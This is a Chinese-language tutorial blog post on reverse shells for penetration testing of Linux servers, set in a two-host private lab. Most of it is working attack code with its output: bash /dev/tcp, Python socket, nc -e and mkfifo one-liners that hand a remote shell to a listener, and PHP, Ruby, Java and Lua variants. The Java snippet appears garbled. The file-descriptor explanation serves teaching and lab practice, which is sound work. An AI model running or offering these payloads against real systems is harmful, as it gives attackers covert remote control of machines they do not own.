zoukankan      html  css  js  c++  java
  • 反弹SHELL

    在做渗透测试的时候,遇到linux的服务器,怎么办?上传反弹脚本?骚操作!
    测试主机:

    check1:192.168.233.10 C6 2.6.32-696.30.1.el6.x86_64 本地
    check2:192.168.233.20 C7 3.10.0-862.3.3.el7.x86_64 远程
    

    BASH版本

    首先要在本地配置好nc工具,配置方法之前的文章有
    在本地使用nc监听一个端口:

    [root@wcy ~]# nc -lvv 6699
    

    在远程机器上操作:

    [root@localhost ~]# bash -i >& /dev/tcp/192.168.233.10/6699 0>&1
    

    本地可以看到远程机器的shell 已经返回到本地上面

    [root@wcy ~]# nc -lvv 6699
    Connection from 192.168.233.20 port 6699 [tcp/*] accepted
    [root@localhost ~]# ip a
    ip a
    1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
    valid_lft forever preferred_lft forever
    2: ens32: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:6b:b8:d5 brd ff:ff:ff:ff:ff:ff
    inet 192.168.233.20/24 brd 192.168.233.255 scope global noprefixroute ens32
    valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:fe6b:b8d5/64 scope link 
    valid_lft forever preferred_lft forever
    [root@localhost ~]#
    

    原理:

    A主机开启9090端口的tcp服务
    B主机连接到A主机的9090的tcp服务
    A主机通过tcp服务把命令发到B主机
    B主机读取命令并且在bash中执行
    B主机把执行结果发给A主机

    Linux 文件描述符,Linux shell 的三种标准的文件描述符

    0 - stdin 代表标准输入,使用<或<<
    1 - stdout 代表标准输出,使用>或>>
    2 - stderr 代表标准错误输出,使用2>或2>>

    参数解释:

    bash -i
    bash -i代表在本地打开一个bash,
    >&
    >& 后面接文件时,表示将标准输出和标准错误输出重定向至文件。 当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符
    也有师傅把&这个符号解释为是取地址符号,学过C语言的小伙伴们都知道&这个符号代表取地址符,在C++中&符号还代表为引用,这样做是为了区分文件描述符和文件,比如查看一个不存在的文件,要把标准错误重定向到标准输出,如果直接cat notexistfile 2>1的话,则会将1看作是一个文件,将标准错误输出输出到1这个文件里而不是标准输出,而&的作用就是为了区分文件和文件描述

    [root@wcy ~]# cat check 2>1
    [root@wcy ~]# cat 1
    cat: check: 没有那个文件或目录
    [root@wcy ~]# cat check
    cat: check: 没有那个文件或目录
    [root@wcy ~]# 
    
    /dev/tcp/192.168.233.10/6699
    

    就是/dev/tcp/ip/port/dev/tcp/Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出,这个时候我们在本机C6输入命令,输出以及错误输出的内容就会被传递显示到远程。
    0>&1
    代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程,这样的话就可以直接在远程输入了:
    那么,0>&2也是可以的,代表将标准输入重定向到标准错误输出,而标准错误输出重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程

    python反弹shell

    本地监听一个端口

    [root@wcy ~]# nc -lvv 6699
    

    远程机器执行

    [root@localhost ~]# python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.233.10',6699));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i'])"
    

    成功反弹

    [root@wcy ~]# nc -lvv 6699
    Connection from 192.168.233.20 port 6699 [tcp/*] accepted
    [root@localhost ~]# ip a | grep inet
    ip a | grep inet
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
    inet 192.168.233.20/24 brd 192.168.233.255 scope global noprefixroute ens32
    inet6 fe80::20c:29ff:fe6b:b8d5/64 scope link 
    [root@localhost ~]#
    

    nc反弹shell

    本地主机打开一个监听端口

    [root@wcy ~]# nc -lvv 6699
    

    远程主机连接此端口,连接后(-e)并打开/bin/bash

    [root@localhost ~]# nc -e /bin/bash 192.168.233.10 6699
    

    效果如下:

    [root@wcy ~]# nc -lvv 6699
    Connection from 192.168.233.20 port 6699 [tcp/*] accepted
    ls
    anaconda-ks.cfg
    epel-release-latest-7.noarch.rpm
    krb5-libs-1.15.1-19.el7.x86_64.rpm
    nohup.out
    test.sh
    ip a | grep inet
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
    inet 192.168.233.20/24 brd 192.168.233.255 scope global noprefixroute ens32
    inet6 fe80::20c:29ff:fe6b:b8d5/64 scope link
    

    或者

    [root@localhost ~]# rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.233.10 6699 >/tmp/f
    

    效果如下:

    [root@wcy ~]# nc -lvv 6699
    Connection from 192.168.233.20 port 6699 [tcp/*] accepted
    sh-4.2# ls
    ls
    anaconda-ks.cfg
    epel-release-latest-7.noarch.rpm
    krb5-libs-1.15.1-19.el7.x86_64.rpm
    nohup.out
    test.sh
    sh-4.2# ip a | grep inet
    ip a | grep inet
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
    inet 192.168.233.20/24 brd 192.168.233.255 scope global noprefixroute ens32
    inet6 fe80::20c:29ff:fe6b:b8d5/64 scope link 
    sh-4.2#
    

    其他版本

    # PHP
    php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
      
    # ruby
    ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
      
    # java
    r = Runtime.getRuntime()
    p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5
    le read line; do $line 2>&5 >&5; done"] as String[])
    p.waitFor()
      
    # lua
    lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
    
  • 相关阅读:
    How To Scan QRCode For UWP (4)
    How To Crop Bitmap For UWP
    How To Scan QRCode For UWP (3)
    How To Scan QRCode For UWP (2)
    How To Scan QRCode For UWP (1)
    How to change windows applicatioin's position via Win32 API
    8 Ways to Become a Better Coder
    How to resize or create a thumbnail image from file stream on UWP
    C# winform压缩文件夹带进度条
    MS ACCESS MID函数
  • 原文地址:https://www.cnblogs.com/chuyiwang/p/12822312.html
Copyright © 2011-2022 走看看